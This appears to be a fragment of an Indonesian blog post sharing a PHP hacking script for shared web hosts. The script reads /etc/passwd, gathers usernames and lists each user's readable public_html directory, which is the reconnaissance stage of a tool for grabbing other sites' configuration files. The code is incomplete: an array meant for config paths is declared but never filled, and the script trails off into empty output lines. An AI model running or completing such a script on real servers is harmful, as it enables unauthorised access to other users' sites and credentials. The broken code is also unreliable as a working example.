tools gunanya untuk menc
nih scriptnya
echo "";
echo "";
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd)
{
echo "[-]
Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35)
{
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!=""))
{
if (is_readable($dirz))
{
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
echo "
";
echo "";
?>
|
0 komentar:
Posting Komentar